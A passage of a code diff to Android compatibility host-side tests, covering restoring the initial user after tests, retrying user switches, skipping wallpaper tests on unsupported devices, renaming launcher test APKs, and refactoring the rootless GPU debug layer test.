     // From the UserInfo class
     protected static final int FLAG_PRIMARY = 0x00000001;
     protected static final int FLAG_GUEST = 0x00000004;
@@ -134,6 +139,9 @@
     protected boolean mHasFeature;
     protected int mPrimaryUserId;
 
+    /** Record the initial user ID. */
+    protected int mInitialUserId;
+
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
 
@@ -179,6 +187,11 @@
 
         mFixedUsers = new ArrayList<>();
         mPrimaryUserId = getPrimaryUser();
+
+        // Set the value of initial user ID calls in {@link #setUp}.
+        if(mSupportsMultiUser) {
+            mInitialUserId = getDevice().getCurrentUser();
+        }
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != USER_SYSTEM) {
             mFixedUsers.add(USER_SYSTEM);
@@ -211,7 +224,11 @@
         getDevice().executeShellCommand("settings put global package_verifier_enable "
                 + mPackageVerifier);
         removeOwners();
-        switchUser(USER_SYSTEM);
+
+        // Switch back to initial user.
+        if (mSupportsMultiUser && getDevice().getCurrentUser() != mInitialUserId) {
+            switchUser(mInitialUserId);
+        }
         removeTestUsers();
         removeTestPackages();
         super.tearDown();
@@ -282,7 +299,15 @@
      */
     protected void switchUser(int userId) throws Exception {
         // TODO Move this logic to ITestDevice
+        int retries = 10;
         executeShellCommand("am switch-user " + userId);
+        while (getDevice().getCurrentUser() != userId && (--retries) >= 0) {
+            // am switch-user can be ignored if a previous user-switching operation
+            // is still in progress. In this case, sleep a bit and then retry
+            Thread.sleep(USER_SWITCH_WAIT);
+            executeShellCommand("am switch-user " + userId);
+        }
+        assertTrue("Failed to switch user after multiple retries", getDevice().getCurrentUser() == userId);
     }
 
     protected int getMaxNumberOfUsersSupported() throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 9cdcf1a..ea7bdc4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -5,6 +5,8 @@
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.stats.devicepolicy.EventId;
 
 public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevicePolicyTest {
@@ -24,6 +26,10 @@
         "com.android.cts.transferowner.TransferProfileOwnerOutgoingTest";
     protected static final String TRANSFER_PROFILE_OWNER_INCOMING_TEST =
         "com.android.cts.transferowner.TransferProfileOwnerIncomingTest";
+    private final String INCOMING_ADMIN_SERVICE_FULL_NAME =
+            "com.android.cts.transferowner"
+                    + ".DeviceAndProfileOwnerTransferIncomingTest$BasicAdminService";
+
 
     protected int mUserId;
     protected String mOutgoingTestClassName;
@@ -215,9 +221,13 @@
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
             mOutgoingTestClassName,
             "testTransferOwnership", mUserId);
-        runDeviceTestsAsUser(TRANSFER_OWNER_INCOMING_PKG,
-            mIncomingTestClassName,
-            "testAdminServiceIsBound", mUserId);
+        assertServiceRunning(INCOMING_ADMIN_SERVICE_FULL_NAME);
+    }
+
+    private void assertServiceRunning(String serviceName) throws DeviceNotAvailableException {
+        final String result = getDevice().executeShellCommand(
+                String.format("dumpsys activity services %s", serviceName));
+        assertThat(result).contains("app=ProcessRecord");
     }
 
     protected void setSameAffiliationId(int profileUserId, String testClassName)
@@ -239,9 +249,4 @@
             testClassName,
             "testIsAffiliationId1", profileUserId);
     }
-
-    /* TODO: Add tests for:
-    * 1. passwordOwner
-    *
-    * */
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index ceafda1..059635a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -857,6 +857,11 @@
             return;
         }
 
+        if (!hasService("wallpaper")) {
+            CLog.d("testSetWallpaper_disallowed(): device does not support wallpapers");
+            return;
+        }
+
         installAppAsUser(CUSTOMIZATION_APP_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_SET_WALLPAPER, true, mUserId);
@@ -873,6 +878,10 @@
         if (!mHasFeature) {
             return;
         }
+        if (!hasService("wallpaper")) {
+            CLog.d("testDisallowSetWallpaper_allowed(): device does not support wallpapers");
+            return;
+        }
         executeDeviceTestMethod(".CustomizationRestrictionsTest",
                 "testDisallowSetWallpaper_allowed");
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d223f03..d2f5a08 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -72,8 +72,8 @@
     private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount";
     private static final String TEST_UPDATE_LOCATION = "/data/local/tmp/cts/deviceowner";
 
-    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
-            "CtsNoLaunchableActivityApp.apk";
+    private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+            "CtsHasLauncherActivityApp.apk";
 
     /**
      * Copied from {@link android.app.admin.DevicePolicyManager
@@ -577,13 +577,16 @@
         if (!mHasFeature) {
             return;
         }
-        executeDeviceOwnerTest("SystemUpdatePolicyTest");
+        // Disabled due to 145932189
+        // executeDeviceOwnerTest("SystemUpdatePolicyTest");
     }
 
     public void testSetSystemUpdatePolicyLogged() throws Exception {
         if (!mHasFeature) {
             return;
         }
+        // Disabled due to 145932189
+        /*
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".SystemUpdatePolicyTest", "testSetAutomaticInstallPolicy");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_SYSTEM_UPDATE_POLICY_VALUE)
@@ -608,6 +611,7 @@
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .setInt(TYPE_NONE)
                     .build());
+        */
     }
 
     public void testWifiConfigLockdown() throws Exception {
@@ -995,7 +999,7 @@
             // Install app to primary user
             installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_APK, mPrimaryUserId);
             installAppAsUser(BaseLauncherAppsTest.LAUNCHER_TESTS_SUPPORT_APK, mPrimaryUserId);
-            installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mPrimaryUserId);
+            installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mPrimaryUserId);
 
             // Run test to check if launcher api shows hidden app
             String mSerialNumber = Integer.toString(getUserSerialNumber(USER_SYSTEM));
@@ -1005,7 +1009,7 @@
                     mPrimaryUserId, Collections.singletonMap(BaseLauncherAppsTest.PARAM_TEST_USER,
                             mSerialNumber));
         } finally {
-            getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+            getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
             getDevice().uninstallPackage(BaseLauncherAppsTest.LAUNCHER_TESTS_SUPPORT_APK);
             getDevice().uninstallPackage(BaseLauncherAppsTest.LAUNCHER_TESTS_APK);
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index c756d16..f8a78f0 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -31,8 +31,8 @@
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
-    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
-            "CtsNoLaunchableActivityApp.apk";
+    private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+            "CtsHasLauncherActivityApp.apk";
 
     private int mProfileUserId;
     private int mParentUserId;
@@ -65,7 +65,7 @@
         if (mHasFeature) {
             removeUser(mProfileUserId);
             uninstallTestApps();
-            getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+            getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
         }
         super.tearDown();
     }
@@ -122,15 +122,15 @@
             return;
         }
         // Install app for all users.
-        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mParentUserId);
-        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mProfileUserId);
+        installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mParentUserId);
+        installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mProfileUserId);
 
         // Run tests to check SimpleApp exists in both profile and main user.
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testDoPoNoTestAppInjectedActivityFound",
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+                LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
index 09d2541..fa92065 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -23,10 +23,10 @@
  */
 public class LimitAppIconHidingTest extends BaseLauncherAppsTest {
 
-    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
-            "CtsNoLaunchableActivityApp.apk";
-    private static final String LAUNCHER_TESTS_NO_COMPONENT_APK =
-            "CtsNoComponentApp.apk";
+    private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+            "CtsHasLauncherActivityApp.apk";
+    private static final String LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK =
+            "CtsNoLauncherActivityApp.apk";
     private static final String LAUNCHER_TESTS_NO_PERMISSION_APK =
             "CtsNoPermissionApp.apk";
 
@@ -58,8 +58,8 @@
     @Override
     protected void installTestApps(int userId) throws Exception {
         super.installTestApps(mCurrentUserId);
-        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mCurrentUserId);
-        installAppAsUser(LAUNCHER_TESTS_NO_COMPONENT_APK, mCurrentUserId);
+        installAppAsUser(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK, mCurrentUserId);
+        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK, mCurrentUserId);
         installAppAsUser(LAUNCHER_TESTS_NO_PERMISSION_APK, mCurrentUserId);
     }
 
@@ -67,16 +67,16 @@
     protected void uninstallTestApps() throws Exception {
         super.uninstallTestApps();
         getDevice().uninstallPackage(LAUNCHER_TESTS_NO_PERMISSION_APK);
-        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_COMPONENT_APK);
-        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHER_ACTIVITY_APK);
+        getDevice().uninstallPackage(LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK);
     }
 
-    public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+    public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+                LAUNCHER_TESTS_CLASS, "testHasLauncherActivityAppHasAppDetailsActivityInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
@@ -89,12 +89,12 @@
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
-    public void testNoComponentAppNotInjected() throws Exception {
+    public void testNoLauncherActivityAppNotInjected() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
-                LAUNCHER_TESTS_CLASS, "testNoComponentAppNotInjected",
+                LAUNCHER_TESTS_CLASS, "testNoLauncherActivityAppNotInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index dbac924..9fe390f 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -21,6 +21,7 @@
       -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDexMetadataDeviceTestApp.apk" />
diff --git a/hostsidetests/dumpsys/AndroidTest.xml b/hostsidetests/dumpsys/AndroidTest.xml
index 11ab26f..b6d0270 100644
--- a/hostsidetests/dumpsys/AndroidTest.xml
+++ b/hostsidetests/dumpsys/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- This module tests system service dumps, which is irrelevant for Instant Apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest">
         <option name="jar" value="CtsDumpsysHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/gputools/AndroidTest.xml b/hostsidetests/gputools/AndroidTest.xml
index f1b8b9c..cd95605 100644
--- a/hostsidetests/gputools/AndroidTest.xml
+++ b/hostsidetests/gputools/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk" />
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index f4362f0..6b5c645 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -18,6 +18,7 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import java.util.Scanner;
 
@@ -31,24 +32,10 @@
  * Tests that exercise Rootless GPU Debug functionality supported by the loader.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
+public class CtsRootlessGpuDebugHostTest extends BaseHostJUnit4Test implements IDeviceTest {
 
     public static final String TAG = "RootlessGpuDebugDeviceActivity";
 
-    /**
-     * A reference to the device under test.
-     */
-    private ITestDevice mDevice;
-
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
     // This test ensures that the Vulkan and GLES loaders can use Settings to load layers
     // from the base directory of debuggable applications.  Is also tests several
     // positive and negative scenarios we want to cover (listed below).
@@ -115,6 +102,10 @@
     private static final String RELEASE_APP = "android.rootlessgpudebug.RELEASE.app";
     private static final String LAYERS_APP = "android.rootlessgpudebug.LAYERS.app";
     private static final String GLES_LAYERS_APP = "android.rootlessgpudebug.GLES_LAYERS.app";
+    private static final String DEBUG_APK = "CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk";
+    private static final String RELEASE_APK = "CtsGpuToolsRootlessGpuDebugApp-RELEASE.apk";
+    private static final String LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk";
+    private static final String GLES_LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-GLES_LAYERS.apk";
     private static final String GLES_LAYER_A = "glesLayerA";
     private static final String GLES_LAYER_B = "glesLayerB";
     private static final String GLES_LAYER_C = "glesLayerC";
@@ -139,14 +130,14 @@
      */
     private String getTime() throws Exception {
         // logcat will accept "MM-DD hh:mm:ss.mmm"
-        return mDevice.executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
+        return getDevice().executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
     }
 
     /**
      * Apply a setting and ensure it sticks before continuing
      */
     private void applySetting(String setting, String value) throws Exception {
-        mDevice.executeShellCommand("settings put global " + setting + " " + value);
+        getDevice().executeShellCommand("settings put global " + setting + " " + value);
 
         long hostStartTime = System.currentTimeMillis();
         while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -155,7 +146,7 @@
             Thread.sleep(1000);
 
             // Read it back, make sure it has applied
-            String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+            String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
             if ((returnedValue != null) && (returnedValue.trim().equals(value))) {
                 return;
             }
@@ -170,7 +161,7 @@
      * Delete a setting and ensure it goes away before continuing
      */
     private void deleteSetting(String setting) throws Exception {
-        mDevice.executeShellCommand("shell settings delete global " + setting);
+        getDevice().executeShellCommand("shell settings delete global " + setting);
 
         long hostStartTime = System.currentTimeMillis();
         while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -179,7 +170,7 @@
             Thread.sleep(1000);
 
             // Read it back, make sure it is gone
-            String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+            String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
             if ((returnedValue == null) ||
                 (returnedValue.trim().isEmpty()) ||
                 (returnedValue.trim().equals("null"))) {
@@ -198,16 +189,16 @@
     private void setupLayer(String layer, String layerApp) throws Exception {
 
         // We use the LAYERS apk to facilitate getting layers onto the device for mixing and matching
-        String libPath = mDevice.executeAdbCommand("shell", "pm", "path", layerApp);
+        String libPath = getDevice().executeAdbCommand("shell", "pm", "path", layerApp);
         libPath = libPath.replaceAll("package:", "");
         libPath = libPath.replaceAll("base.apk", "");
         libPath = removeWhitespace(libPath);
         libPath += "lib/";
 
         // Use find to get the .so so we can ignore ABI
-        String layerPath = mDevice.executeAdbCommand("shell", "find", libPath + " -name " + layer);
+        String layerPath = getDevice().executeAdbCommand("shell", "find", libPath + " -name " + layer);
         layerPath = removeWhitespace(layerPath);
-        mDevice.executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
+        getDevice().executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
     }
 
     /**
@@ -245,7 +236,7 @@
             // Pull the logcat since the app started, filter for tags
             // This command should look something like this:
             // adb logcat -d -t '03-27 21:35:05.392' -s "RootlessGpuDebugDeviceActivity,nullLayerC"
-            String logcat = mDevice.executeShellCommand(
+            String logcat = getDevice().executeShellCommand(
                     "logcat -d " +
                     "-t '" + removeWhitespace(appStartTime) + "' " +
                     "-s \"" + tag + "\"");
@@ -278,28 +269,32 @@
      */
     @After
     public void cleanup() throws Exception {
-        mDevice.executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
-        mDevice.executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
+        getDevice().executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
+        getDevice().executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
+        getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
+        getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
     }
 
     /**
-     * Clean up before starting any tests
+     * Clean up before starting any tests, and ensure supporting packages are installed
      */
     @Before
     public void init() throws Exception {
+        installPackage(DEBUG_APK);
+        installPackage(RELEASE_APK);
+        installPackage(LAYERS_APK);
+        installPackage(GLES_LAYERS_APK);
         if (!initialized) {
             cleanup();
             initialized = true;
@@ -324,17 +319,17 @@
 
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
 
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -364,13 +359,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Attempt to copy them over to our RELEASE app (this should fail)
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", RELEASE_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", RELEASE_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -394,13 +389,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -424,13 +419,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -454,13 +449,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure layerA is not loaded
         String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -474,19 +469,19 @@
     @Test
     public void testSystemPropertyEnableVulkan() throws Exception {
 
-        // Set up layerA to be loaded, but not layerB or layerC
+        // Don't enable any layers via settings
         applySetting("enable_gpu_debug_layers", "1");
         applySetting("gpu_debug_app", RELEASE_APP);
         deleteSetting("gpu_debug_layers");
 
